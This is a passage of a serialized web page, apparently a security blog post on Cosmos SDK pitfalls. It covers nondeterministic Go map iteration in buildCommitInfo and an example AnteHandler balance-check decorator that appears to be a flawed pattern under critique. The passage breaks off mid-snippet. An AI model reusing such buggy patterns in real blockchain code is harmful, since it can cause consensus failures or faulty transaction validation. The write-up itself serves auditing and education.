style":162},[77340],{"type":28,"value":76957},{"type":23,"tag":134,"props":77342,"children":77343},{"style":179},[77344],{"type":28,"value":720},{"type":23,"tag":134,"props":77346,"children":77347},{"style":264},[77348],{"type":28,"value":76966},{"type":23,"tag":134,"props":77350,"children":77351},{"style":179},[77352],{"type":28,"value":642},{"type":23,"tag":134,"props":77354,"children":77355},{"class":136,"line":797},[77356,77360],{"type":23,"tag":134,"props":77357,"children":77358},{"style":1461},[77359],{"type":28,"value":76978},{"type":23,"tag":134,"props":77361,"children":77362},{"style":179},[77363],{"type":28,"value":687},{"type":23,"tag":134,"props":77365,"children":77366},{"class":136,"line":814},[77367,77371,77375,77379,77383,77387,77391,77395,77399,77403],{"type":23,"tag":134,"props":77368,"children":77369},{"style":162},[77370],{"type":28,"value":76990},{"type":23,"tag":134,"props":77372,"children":77373},{"style":179},[77374],{"type":28,"value":720},{"type":23,"tag":134,"props":77376,"children":77377},{"style":264},[77378],{"type":28,"value":76999},{"type":23,"tag":134,"props":77380,"children":77381},{"style":179},[77382],{"type":28,"value":272},{"type":23,"tag":134,"props":77384,"children":77385},{"style":162},[77386],{"type":28,"value":71666},{"type":23,"tag":134,"props":77388,"children":77389},{"style":179},[77390],{"type":28,"value":242},{"type":23,"tag":134,"props":77392,"children":77393},{"style":162},[77394],{"type":28,"value":76875},{"type":23,"tag":134,"props":77396,"children":77397},{"style":179},[77398],{"type":28,"value":924},{"type":23,"tag":134,"props":77400,"children":77401},{"style":162},[77402],{"type":28,"value":71666},{"type":23,"tag":134,"props":77404,"children":77405},{"style":179},[77406],{"type":28,"value":77407},"]),\n",{"type":23,"tag":134,"props":77409,"children":77410},{"class":136,"line":827},[77411],{"type":23,"tag":134,"props":77412,"children":77413},{"style":179},[77414],{"type":28,"value":77027},{"type":23,"tag":134,"props":77416,"children":77417},{"class":136,"line":836},[77418],{"type":23,"tag":134,"props":77419,"children":77420},{"style":179},[77421],{"type":28,"value":67830},{"type":23,"tag":134,"props":77423,"children":77424},{"class":136,"line":859},[77425],{"type":23,"tag":134,"props":77426,"children":77427},{"style":179},[77428],{"type":28,"value":533},{"type":23,"tag":134,"props":77430,"children":77431},{"class":136,"line":868},[77432],{"type":23,"tag":134,"props":77433,"children":77434},{"style":179},[77435],{"type":28,"value":1098},{"type":23,"tag":24,"props":77437,"children":77438},{},[77439],{"type":28,"value":77440},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":23,"tag":9072,"props":77442,"children":77444},{"id":77443},"real-world-examples-1",[77445],{"type":28,"value":76201},{"type":23,"tag":24,"props":77447,"children":77448},{},[77449,77451,77456,77458,77464,77466,77472,77474,77480],{"type":28,"value":77450},"Real-world examples of ",{"type":23,"tag":92,"props":77452,"children":77454},{"className":77453},[],[77455],{"type":28,"value":66611},{"type":28,"value":77457}," causing determinism problems can be found ",{"type":23,"tag":31,"props":77459,"children":77462},{"href":77460,"rel":77461},"https://github.com/cosmos/cosmos-sdk/pull/12487",[35],[77463],{"type":28,"value":47089},{"type":28,"value":77465},", specifically, where the result of ",{"type":23,"tag":92,"props":77467,"children":77469},{"className":77468},[],[77470],{"type":28,"value":77471},"buildCommitInfo",{"type":28,"value":77473}," is inconsistent due to iteration over the ",{"type":23,"tag":92,"props":77475,"children":77477},{"className":77476},[],[77478],{"type":28,"value":77479},"rs.stores",{"type":28,"value":77481}," map.",{"type":23,"tag":24,"props":77483,"children":77484},{},[77485],{"type":23,"tag":31,"props":77486,"children":77489},{"href":77487,"rel":77488},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[35],[77490],{"type":28,"value":76251},{"type":23,"tag":87,"props":77492,"children":77494},{"code":77493,"language":75676,"meta":7,"className":75677,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[77495],{"type":23,"tag":92,"props":77496,"children":77497},{"__ignoreMap":7},[77498,77535,77548,77576,77610,77655,77701,77709,77716,77761,77791,77820,77827,77834,77861,77883,77903,77910],{"type":23,"tag":134,"props":77499,"children":77500},{"class":136,"line":137},[77501,77505,77509,77514,77518,77523,77527,77531],{"type":23,"tag":134,"props":77502,"children":77503},{"style":151},[77504],{"type":28,"value":75812},{"type":23,"tag":134,"props":77506,"children":77507},{"style":179},[77508],{"type":28,"value":232},{"type":23,"tag":134,"props":77510,"children":77511},{"style":162},[77512],{"type":28,"value":77513},"rs ",{"type":23,"tag":134,"props":77515,"children":77516},{"style":168},[77517],{"type":28,"value":1777},{"type":23,"tag":134,"props":77519,"children":77520},{"style":597},[77521],{"type":28,"value":77522},"Store",{"type":23,"tag":134,"props":77524,"children":77525},{"style":179},[77526],{"type":28,"value":252},{"type":23,"tag":134,"props":77528,"children":77529},{"style":264},[77530],{"type":28,"value":77471},{"type":23,"tag":134,"props":77532,"children":77533},{"style":179},[77534],{"type":28,"value":642},{"type":23,"tag":134,"props":77536,"children":77537},{"class":136,"line":147},[77538,77543],{"type":23,"tag":134,"props":77539,"children":77540},{"style":162},[77541],{"type":28,"value":77542},"    version",{"type":23,"tag":134,"props":77544,"children":77545},{"style":597},[77546],{"type":28,"value":77547}," int64\n",{"type":23,"tag":134,"props":77549,"children":77550},{"class":136,"line":185},[77551,77555,77559,77563,77567,77572],{"type":23,"tag":134,"props":77552,"children":77553},{"style":179},[77554],{"type":28,"value":252},{"type":23,"tag":134,"props":77556,"children":77557},{"style":168},[77558],{"type":28,"value":1777},{"type":23,"tag":134,"props":77560,"children":77561},{"style":597},[77562],{"type":28,"value":5214},{"type":23,"tag":134,"props":77564,"children":77565},{"style":179},[77566],{"type":28,"value":720},{"type":23,"tag":134,"props":77568,"children":77569},{"style":597},[77570],{"type":28,"value":77571},"CommitInfo",{"type":23,"tag":134,"props":77573,"children":77574},{"style":179},[77575],{"type":28,"value":463},{"type":23,"tag":134,"props":77577,"children":77578},{"class":136,"line":221},[77579,77584,77588,77592,77596,77600,77605],{"type":23,"tag":134,"props":77580,"children":77581},{"style":162},[77582],{"type":28,"value":77583},"    storeInfos",{"type":23,"tag":134,"props":77585,"children":77586},{"style":168},[77587],{"type":28,"value":75928},{"type":23,"tag":134,"props":77589,"children":77590},{"style":179},[77591],{"type":28,"value":75739},{"type":23,"tag":134,"props":77593,"children":77594},{"style":597},[77595],{"type":28,"value":5214},{"type":23,"tag":134,"props":77597,"children":77598},{"style":179},[77599],{"type":28,"value":720},{"type":23,"tag":134,"props":77601,"children":77602},{"style":597},[77603],{"type":28,"value":77604},"StoreInfo",{"type":23,"tag":134,"props":77606,"children":77607},{"style":179},[77608],{"type":28,"value":77609},"{}\n",{"type":23,"tag":134,"props":77611,"children":77612},{"class":136,"line":332},[77613,77617,77621,77625,77629,77633,77637,77642,77646,77651],{"type":23,"tag":134,"props":77614,"children":77615},{"style":189},[77616],{"type":28,"value":192},{"type":23,"tag":134,"props":77618,"children":77619},{"style":162},[77620],{"type":28,"value":5388},{"type":23,"tag":134,"props":77622,"children":77623},{"style":179},[77624],{"type":28,"value":242},{"type":23,"tag":134,"props":77626,"children":77627},{"style":162},[77628],{"type":28,"value":5397},{"type":23,"tag":134,"props":77630,"children":77631},{"style":168},[77632],{"type":28,"value":75928},{"type":23,"tag":134,"props":77634,"children":77635},{"style":189},[77636],{"type":28,"value":76911},{"type":23,"tag":134,"props":77638,"children":77639},{"style":162},[77640],{"type":28,"value":77641}," rs",{"type":23,"tag":134,"props":77643,"children":77644},{"style":179},[77645],{"type":28,"value":720},{"type":23,"tag":134,"props":77647,"children":77648},{"style":162},[77649],{"type":28,"value":77650},"stores",{"type":23,"tag":134,"props":77652,"children":77653},{"style":179},[77654],{"type":28,"value":463},{"type":23,"tag":134,"props":77656,"children":77657},{"class":136,"line":438},[77658,77662,77666,77670,77675,77679,77683,77688,77692,77697],{"type":23,"tag":134,"props":77659,"children":77660},{"style":189},[77661],{"type":28,"value":444},{"type":23,"tag":134,"props":77663,"children":77664},{"style":162},[77665],{"type":28,"value":5287},{"type":23,"tag":134,"props":77667,"children":77668},{"style":179},[77669],{"type":28,"value":720},{"type":23,"tag":134,"props":77671,"children":77672},{"style":264},[77673],{"type":28,"value":77674},"GetStoreType",{"type":23,"tag":134,"props":77676,"children":77677},{"style":179},[77678],{"type":28,"value":13511},{"type":23,"tag":134,"props":77680,"children":77681},{"style":168},[77682],{"type":28,"value":8035},{"type":23,"tag":134,"props":77684,"children":77685},{"style":162},[77686],{"type":28,"value":77687}," types",{"type":23,"tag":134,"props":77689,"children":77690},{"style":179},[77691],{"type":28,"value":720},{"type":23,"tag":134,"props":77693,"children":77694},{"style":162},[77695],{"type":28,"value":77696},"StoreTypeTransient",{"type":23,"tag":134,"props":77698,"children":77699},{"style":179},[77700],{"type":28,"value":463},{"type":23,"tag":134,"props":77702,"children":77703},{"class":136,"line":466},[77704],{"type":23,"tag":134,"props":77705,"children":77706},{"style":189},[77707],{"type":28,"value":77708},"            continue\n",{"type":23,"tag":134,"props":77710,"children":77711},{"class":136,"line":479},[77712],{"type":23,"tag":134,"props":77713,"children":77714},{"style":179},[77715],{"type":28,"value":524},{"type":23,"tag":134,"props":77717,"children":77718},{"class":136,"line":497},[77719,77724,77728,77732,77736,77741,77745,77749,77753,77757],{"type":23,"tag":134,"props":77720,"children":77721},{"style":162},[77722],{"type":28,"value":77723},"        storeInfos",{"type":23,"tag":134,"props":77725,"children":77726},{"style":168},[77727],{"type":28,"value":171},{"type":23,"tag":134,"props":77729,"children":77730},{"style":264},[77731],{"type":28,"value":77208},{"type":23,"tag":134,"props":77733,"children":77734},{"style":179},[77735],{"type":28,"value":272},{"type":23,"tag":134,"props":77737,"children":77738},{"style":162},[77739],{"type":28,"value":77740},"storeInfos",{"type":23,"tag":134,"props":77742,"children":77743},{"style":179},[77744],{"type":28,"value":242},{"type":23,"tag":134,"props":77746,"children":77747},{"style":597},[77748],{"type":28,"value":5214},{"type":23,"tag":134,"props":77750,"children":77751},{"style":179},[77752],{"type":28,"value":720},{"type":23,"tag":134,"props":77754,"children":77755},{"style":597},[77756],{"type":28,"value":77604},{"type":23,"tag":134,"props":77758,"children":77759},{"style":179},[77760],{"type":28,"value":10346},{"type":23,"tag":134,"props":77762,"children":77763},{"class":136,"line":518},[77764,77769,77774,77778,77782,77787],{"type":23,"tag":134,"props":77765,"children":77766},{"style":162},[77767],{"type":28,"value":77768},"            Name",{"type":23,"tag":134,"props":77770,"children":77771},{"style":179},[77772],{"type":28,"value":77773},":     ",{"type":23,"tag":134,"props":77775,"children":77776},{"style":162},[77777],{"type":28,"value":71666},{"type":23,"tag":134,"props":77779,"children":77780},{"style":179},[77781],{"type":28,"value":720},{"type":23,"tag":134,"props":77783,"children":77784},{"style":264},[77785],{"type":28,"value":77786},"Name",{"type":23,"tag":134,"props":77788,"children":77789},{"style":179},[77790],{"type":28,"value":670},{"type":23,"tag":134,"props":77792,"children":77793},{"class":136,"line":527},[77794,77799,77803,77807,77811,77816],{"type":23,"tag":134,"props":77795,"children":77796},{"style":162},[77797],{"type":28,"value":77798},"            CommitId",{"type":23,"tag":134,"props":77800,"children":77801},{"style":179},[77802],{"type":28,"value":14800},{"type":23,"tag":134,"props":77804,"children":77805},{"style":162},[77806],{"type":28,"value":5397},{"type":23,"tag":134,"props":77808,"children":77809},{"style":179},[77810],{"type":28,"value":720},{"type":23,"tag":134,"props":77812,"children":77813},{"style":264},[77814],{"type":28,"value":77815},"LastCommitID",{"type":23,"tag":134,"props":77817,"children":77818},{"style":179},[77819],{"type":28,"value":670},{"type":23,"tag":134,"props":77821,"children":77822},{"class":136,"line":780},[77823],{"type":23,"tag":134,"props":77824,"children":77825},{"style":179},[77826],{"type":28,"value":67707},{"type":23,"tag":134,"props":77828,"children":77829},{"class":136,"line":797},[77830],{"type":23,"tag":134,"props":77831,"children":77832},{"style":179},[77833],{"type":28,"value":533},{"type":23,"tag":134,"props":77835,"children":77836},{"class":136,"line":814},[77837,77841,77845,77849,77853,77857],{"type":23,"tag":134,"props":77838,"children":77839},{"style":189},[77840],{"type":28,"value":16461},{"type":23,"tag":134,"props":77842,"children":77843},{"style":168},[77844],{"type":28,"value":6599},{"type":23,"tag":134,"props":77846,"children":77847},{"style":597},[77848],{"type":28,"value":5214},{"type":23,"tag":134,"props":77850,"children":77851},{"style":179},[77852],{"type":28,"value":720},{"type":23,"tag":134,"props":77854,"children":77855},{"style":597},[77856],{"type":28,"value":77571},{"type":23,"tag":134,"props":77858,"children":77859},{"style":179},[77860],{"type":28,"value":10346},{"type":23,"tag":134,"props":77862,"children":77863},{"class":136,"line":827},[77864,77869,77874,77879],{"type":23,"tag":134,"props":77865,"children":77866},{"style":162},[77867],{"type":28,"value":77868},"        Version",{"type":23,"tag":134,"props":77870,"children":77871},{"style":179},[77872],{"type":28,"value":77873},":    ",{"type":23,"tag":134,"props":77875,"children":77876},{"style":162},[77877],{"type":28,"value":77878},"version",{"type":23,"tag":134,"props":77880,"children":77881},{"style":179},[77882],{"type":28,"value":687},{"type":23,"tag":134,"props":77884,"children":77885},{"class":136,"line":836},[77886,77891,77895,77899],{"type":23,"tag":134,"props":77887,"children":77888},{"style":162},[77889],{"type":28,"value":77890},"        StoreInfos",{"type":23,"tag":134,"props":77892,"children":77893},{"style":179},[77894],{"type":28,"value":14800},{"type":23,"tag":134,"props":77896,"children":77897},{"style":162},[77898],{"type":28,"value":77740},{"type":23,"tag":134,"props":77900,"children":77901},{"style":179},[77902],{"type":28,"value":687},{"type":23,"tag":134,"props":77904,"children":77905},{"class":136,"line":859},[77906],{"type":23,"tag":134,"props":77907,"children":77908},{"style":179},[77909],{"type":28,"value":533},{"type":23,"tag":134,"props":77911,"children":77912},{"class":136,"line":868},[77913],{"type":23,"tag":134,"props":77914,"children":77915},{"style":179},[77916],{"type":28,"value":1098},{"type":23,"tag":24,"props":77918,"children":77919},{},[77920,77922,77929,77930,77937],{"type":28,"value":77921},"Other factors contributing to determinism issues are the usage of ",{"type":23,"tag":31,"props":77923,"children":77926},{"href":77924,"rel":77925},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[35],[77927],{"type":28,"value":77928},"time-sensitive functions",{"type":28,"value":10458},{"type":23,"tag":31,"props":77931,"children":77934},{"href":77932,"rel":77933},"https://github.com/cosmos/cosmos-sdk/issues/16638",[35],[77935],{"type":28,"value":77936},"race conditions",{"type":28,"value":720},{"type":23,"tag":61,"props":77939,"children":77941},{"id":77940},"thou-shalt-not-passor-should-you",[77942],{"type":28,"value":77943},"Thou Shalt Not Pass...Or Should You?",{"type":23,"tag":24,"props":77945,"children":77946},{},[77947,77949,77955,77956,77962],{"type":28,"value":77948},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":23,"tag":92,"props":77950,"children":77952},{"className":77951},[],[77953],{"type":28,"value":77954},"msg.value",{"type":28,"value":242},{"type":23,"tag":92,"props":77957,"children":77959},{"className":77958},[],[77960],{"type":28,"value":77961},"msg.sender",{"type":28,"value":77963},", and collecting transaction fees) to the underlying blockchain.",{"type":23,"tag":24,"props":77965,"children":77966},{},[77967,77969,77975,77977,77983],{"type":28,"value":77968},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":23,"tag":92,"props":77970,"children":77972},{"className":77971},[],[77973],{"type":28,"value":77974},"Cosmos-SDK",{"type":28,"value":77976}," introduces ",{"type":23,"tag":92,"props":77978,"children":77980},{"className":77979},[],[77981],{"type":28,"value":77982},"AnteHandler",{"type":28,"value":77984}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":23,"tag":24,"props":77986,"children":77987},{},[77988,77990,77995,77997,78002],{"type":28,"value":77989},"To provide context, let's first understand how an ",{"type":23,"tag":92,"props":77991,"children":77993},{"className":77992},[],[77994],{"type":28,"value":77982},{"type":28,"value":77996}," is processed. Each ",{"type":23,"tag":92,"props":77998,"children":78000},{"className":77999},[],[78001],{"type":28,"value":77982},{"type":28,"value":78003}," is a state transition function that can:",{"type":23,"tag":4890,"props":78005,"children":78006},{},[78007,78012],{"type":23,"tag":4894,"props":78008,"children":78009},{},[78010],{"type":28,"value":78011},"Transform the block state in relation to transaction and execution context.",{"type":23,"tag":4894,"props":78013,"children":78014},{},[78015,78017],{"type":28,"value":78016},"Determine the course of action for the transaction.\n",{"type":23,"tag":4890,"props":78018,"children":78019},{},[78020,78031],{"type":23,"tag":4894,"props":78021,"children":78022},{},[78023,78025,78030],{"type":28,"value":78024},"Pass the transaction to the next ",{"type":23,"tag":92,"props":78026,"children":78028},{"className":78027},[],[78029],{"type":28,"value":77982},{"type":28,"value":720},{"type":23,"tag":4894,"props":78032,"children":78033},{},[78034],{"type":28,"value":78035},"Return error for transaction.",{"type":23,"tag":24,"props":78037,"children":78038},{},[78039,78041,78046],{"type":28,"value":78040},"The bad news is that developing an ",{"type":23,"tag":92,"props":78042,"children":78044},{"className":78043},[],[78045],{"type":28,"value":77982},{"type":28,"value":78047}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":23,"tag":24,"props":78049,"children":78050},{},[78051,78052,78058],{"type":28,"value":16084},{"type":23,"tag":92,"props":78053,"children":78055},{"className":78054},[],[78056],{"type":28,"value":78057},"AnteHandle",{"type":28,"value":78059}," implementation may look something like this:",{"type":23,"tag":87,"props":78061,"children":78063},{"code":78062,"language":75676,"meta":7,"className":75677,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[78064],{"type":23,"tag":92,"props":78065,"children":78066},{"__ignoreMap":7},[78067,78079,78095,78102,78109,78142,78166,78191,78207,78231,78263,78311,78330,78363,78384,78396,78403,78410,78417,78447,78483,78547,78581,78613,78625,78637,78644,78651,78658,78665,78707],{"type":23,"tag":134,"props":78068,"children":78069},{"class":136,"line":137},[78070,78074],{"type":23,"tag":134,"props":78071,"children":78072},{"style":151},[78073],{"type":28,"value":9119},{"type":23,"tag":134,"props":78075,"children":78076},{"style":179},[78077],{"type":28,"value":78078}," (\n",{"type":23,"tag":134,"props":78080,"children":78081},{"class":136,"line":147},[78082,78087,78091],{"type":23,"tag":134,"props":78083,"children":78084},{"style":162},[78085],{"type":28,"value":78086},"    MIN_BALANCE",{"type":23,"tag":134,"props":78088,"children":78089},{"style":168},[78090],{"type":28,"value":171},{"type":23,"tag":134,"props":78092,"children":78093},{"style":205},[78094],{"type":28,"value":18819},{"type":23,"tag":134,"props":78096,"children":78097},{"class":136,"line":185},[78098],{"type":23,"tag":134,"props":78099,"children":78100},{"style":179},[78101],{"type":28,"value":329},{"type":23,"tag":134,"props":78103,"children":78104},{"class":136,"line":221},[78105],{"type":23,"tag":134,"props":78106,"children":78107},{"emptyLinePlaceholder":15},[78108],{"type":28,"value":865},{"type":23,"tag":134,"props":78110,"children":78111},{"class":136,"line":332},[78112,78116,78120,78125,78130,78134,78138],{"type":23,"tag":134,"props":78113,"children":78114},{"style":151},[78115],{"type":28,"value":75812},{"type":23,"tag":134,"props":78117,"children":78118},{"style":179},[78119],{"type":28,"value":232},{"type":23,"tag":134,"props":78121,"children":78122},{"style":162},[78123],{"type":28,"value":78124},"abd ",{"type":23,"tag":134,"props":78126,"children":78127},{"style":597},[78128],{"type":28,"value":78129},"AccountBalanceDecorator",{"type":23,"tag":134,"props":78131,"children":78132},{"style":179},[78133],{"type":28,"value":252},{"type":23,"tag":134,"props":78135,"children":78136},{"style":264},[78137],{"type":28,"value":78057},{"type":23,"tag":134,"props":78139,"children":78140},{"style":179},[78141],{"type":28,"value":642},{"type":23,"tag":134,"props":78143,"children":78144},{"class":136,"line":438},[78145,78149,78154,78158,78162],{"type":23,"tag":134,"props":78146,"children":78147},{"style":162},[78148],{"type":28,"value":19701},{"type":23,"tag":134,"props":78150,"children":78151},{"style":597},[78152],{"type":28,"value":78153}," sdk",{"type":23,"tag":134,"props":78155,"children":78156},{"style":179},[78157],{"type":28,"value":720},{"type":23,"tag":134,"props":78159,"children":78160},{"style":597},[78161],{"type":28,"value":75861},{"type":23,"tag":134,"props":78163,"children":78164},{"style":179},[78165],{"type":28,"value":687},{"type":23,"tag":134,"props":78167,"children":78168},{"class":136,"line":466},[78169,78174,78178,78182,78187],{"type":23,"tag":134,"props":78170,"children":78171},{"style":162},[78172],{"type":28,"value":78173},"    tx",{"type":23,"tag":134,"props":78175,"children":78176},{"style":597},[78177],{"type":28,"value":78153},{"type":23,"tag":134,"props":78179,"children":78180},{"style":179},[78181],{"type":28,"value":720},{"type":23,"tag":134,"props":78183,"children":78184},{"style":597},[78185],{"type":28,"value":78186},"Tx",{"type":23,"tag":134,"props":78188,"children":78189},{"style":179},[78190],{"type":28,"value":687},{"type":23,"tag":134,"props":78192,"children":78193},{"class":136,"line":479},[78194,78199,78203],{"type":23,"tag":134,"props":78195,"children":78196},{"style":162},[78197],{"type":28,"value":78198},"    simulate",{"type":23,"tag":134,"props":78200,"children":78201},{"style":597},[78202],{"type":28,"value":11517},{"type":23,"tag":134,"props":78204,"children":78205},{"style":179},[78206],{"type":28,"value":687},{"type":23,"tag":134,"props":78208,"children":78209},{"class":136,"line":497},[78210,78215,78219,78223,78227],{"type":23,"tag":134,"props":78211,"children":78212},{"style":162},[78213],{"type":28,"value":78214},"    next",{"type":23,"tag":134,"props":78216,"children":78217},{"style":597},[78218],{"type":28,"value":78153},{"type":23,"tag":134,"props":78220,"children":78221},{"style":179},[78222],{"type":28,"value":720},{"type":23,"tag":134,"props":78224,"children":78225},{"style":597},[78226],{"type":28,"value":77982},{"type":23,"tag":134,"props":78228,"children":78229},{"style":179},[78230],{"type":28,"value":687},{"type":23,"tag":134,"props":78232,"children":78233},{"class":136,"line":518},[78234,78238,78243,78247,78251,78255,78259],{"type":23,"tag":134,"props":78235,"children":78236},{"style":179},[78237],{"type":28,"value":75894},{"type":23,"tag":134,"props":78239,"children":78240},{"style":597},[78241],{"type":28,"value":78242},"sdk",{"type":23,"tag":134,"props":78244,"children":78245},{"style":179},[78246],{"type":28,"value":720},{"type":23,"tag":134,"props":78248,"children":78249},{"style":597},[78250],{"type":28,"value":75861},{"type":23,"tag":134,"props":78252,"children":78253},{"style":179},[78254],{"type":28,"value":242},{"type":23,"tag":134,"props":78256,"children":78257},{"style":597},[78258],{"type":28,"value":14332},{"type":23,"tag":134,"props":78260,"children":78261},{"style":179},[78262],{"type":28,"value":14272},{"type":23,"tag":134,"props":78264,"children":78265},{"class":136,"line":527},[78266,78271,78275,78280,78284,78288,78293,78298,78302,78307],{"type":23,"tag":134,"props":78267,"children":78268},{"style":162},[78269],{"type":28,"value":78270},"    sigTx",{"type":23,"tag":134,"props":78272,"children":78273},{"style":179},[78274],{"type":28,"value":242},{"type":23,"tag":134,"props":78276,"children":78277},{"style":162},[78278],{"type":28,"value":78279},"ok",{"type":23,"tag":134,"props":78281,"children":78282},{"style":168},[78283],{"type":28,"value":75928},{"type":23,"tag":134,"props":78285,"children":78286},{"style":162},[78287],{"type":28,"value":67537},{"type":23,"tag":134,"props":78289,"children":78290},{"style":179},[78291],{"type":28,"value":78292},".(",{"type":23,"tag":134,"props":78294,"children":78295},{"style":597},[78296],{"type":28,"value":78297},"authsigning",{"type":23,"tag":134,"props":78299,"children":78300},{"style":179},[78301],{"type":28,"value":720},{"type":23,"tag":134,"props":78303,"children":78304},{"style":597},[78305],{"type":28,"value":78306},"SigVerifiableTx",{"type":23,"tag":134,"props":78308,"children":78309},{"style":179},[78310],{"type":28,"value":329},{"type":23,"tag":134,"props":78312,"children":78313},{"class":136,"line":780},[78314,78318,78322,78326],{"type":23,"tag":134,"props":78315,"children":78316},{"style":189},[78317],{"type":28,"value":11746},{"type":23,"tag":134,"props":78319,"children":78320},{"style":168},[78321],{"type":28,"value":12331},{"type":23,"tag":134,"props":78323,"children":78324},{"style":162},[78325],{"type":28,"value":78279},{"type":23,"tag":134,"props":78327,"children":78328},{"style":179},[78329],{"type":28,"value":463},{"type":23,"tag":134,"props":78331,"children":78332},{"class":136,"line":797},[78333,78337,78341,78345,78350,78354,78359],{"type":23,"tag":134,"props":78334,"children":78335},{"style":189},[78336],{"type":28,"value":15214},{"type":23,"tag":134,"props":78338,"children":78339},{"style":162},[78340],{"type":28,"value":25334},{"type":23,"tag":134,"props":78342,"children":78343},{"style":179},[78344],{"type":28,"value":242},{"type":23,"tag":134,"props":78346,"children":78347},{"style":162},[78348],{"type":28,"value":78349},"errorsmod",{"type":23,"tag":134,"props":78351,"children":78352},{"style":179},[78353],{"type":28,"value":720},{"type":23,"tag":134,"props":78355,"children":78356},{"style":264},[78357],{"type":28,"value":78358},"Wrap",{"type":23,"tag":134,"props":78360,"children":78361},{"style":179},[78362],{"type":28,"value":642},{"type":23,"tag":134,"props":78364,"children":78365},{"class":136,"line":814},[78366,78371,78375,78380],{"type":23,"tag":134,"props":78367,"children":78368},{"style":162},[78369],{"type":28,"value":78370},"            sdkerrors",{"type":23,"tag":134,"props":78372,"children":78373},{"style":179},[78374],{"type":28,"value":720},{"type":23,"tag":134,"props":78376,"children":78377},{"style":162},[78378],{"type":28,"value":78379},"ErrTxDecode",{"type":23,"tag":134,"props":78381,"children":78382},{"style":179},[78383],{"type":28,"value":687},{"type":23,"tag":134,"props":78385,"children":78386},{"class":136,"line":827},[78387,78392],{"type":23,"tag":134,"props":78388,"children":78389},{"style":1461},[78390],{"type":28,"value":78391},"            \"invalid tx type\"",{"type":23,"tag":134,"props":78393,"children":78394},{"style":179},[78395],{"type":28,"value":687},{"type":23,"tag":134,"props":78397,"children":78398},{"class":136,"line":836},[78399],{"type":23,"tag":134,"props":78400,"children":78401},{"style":179},[78402],{"type":28,"value":67830},{"type":23,"tag":134,"props":78404,"children":78405},{"class":136,"line":859},[78406],{"type":23,"tag":134,"props":78407,"children":78408},{"style":179},[78409],{"type":28,"value":533},{"type":23,"tag":134,"props":78411,"children":78412},{"class":136,"line":868},[78413],{"type":23,"tag":134,"props":78414,"children":78415},{"emptyLinePlaceholder":15},[78416],{"type":28,"value":865},{"type":23,"tag":134,"props":78418,"children":78419},{"class":136,"line":877},[78420,78425,78429,78434,78438,78443],{"type":23,"tag":134,"props":78421,"children":78422},{"style":162},[78423],{"type":28,"value":78424},"    signers",{"type":23,"tag":134,"props":78426,"children":78427},{"style":168},[78428],{"type":28,"value":75928},{"type":23,"tag":134,"props":78430,"children":78431},{"style":162},[78432],{"type":28,"value":78433}," sigTx",{"type":23,"tag":134,"props":78435,"children":78436},{"style":179},[78437],{"type":28,"value":720},{"type":23,"tag":134,"props":78439,"children":78440},{"style":264},[78441],{"type":28,"value":78442},"GetSigners",{"type":23,"tag":134,"props":78444,"children":78445},{"style":179},[78446],{"type":28,"value":7194},{"type":23,"tag":134,"props":78448,"children":78449},{"class":136,"line":946},[78450,78454,78458,78462,78466,78470,78474,78479],{"type":23,"tag":134,"props":78451,"children":78452},{"style":189},[78453],{"type":28,"value":192},{"type":23,"tag":134,"props":78455,"children":78456},{"style":162},[78457],{"type":28,"value":576},{"type":23,"tag":134,"props":78459,"children":78460},{"style":179},[78461],{"type":28,"value":242},{"type":23,"tag":134,"props":78463,"children":78464},{"style":162},[78465],{"type":28,"value":6604},{"type":23,"tag":134,"props":78467,"children":78468},{"style":168},[78469],{"type":28,"value":75928},{"type":23,"tag":134,"props":78471,"children":78472},{"style":189},[78473],{"type":28,"value":76911},{"type":23,"tag":134,"props":78475,"children":78476},{"style":162},[78477],{"type":28,"value":78478}," signers",{"type":23,"tag":134,"props":78480,"children":78481},{"style":179},[78482],{"type":28,"value":463},{"type":23,"tag":134,"props":78484,"children":78485},{"class":136,"line":954},[78486,78491,78495,78500,78504,78509,78513,78518,78522,78526,78530,78534,78538,78543],{"type":23,"tag":134,"props":78487,"children":78488},{"style":162},[78489],{"type":28,"value":78490},"        balance",{"type":23,"tag":134,"props":78492,"children":78493},{"style":168},[78494],{"type":28,"value":75928},{"type":23,"tag":134,"props":78496,"children":78497},{"style":162},[78498],{"type":28,"value":78499}," 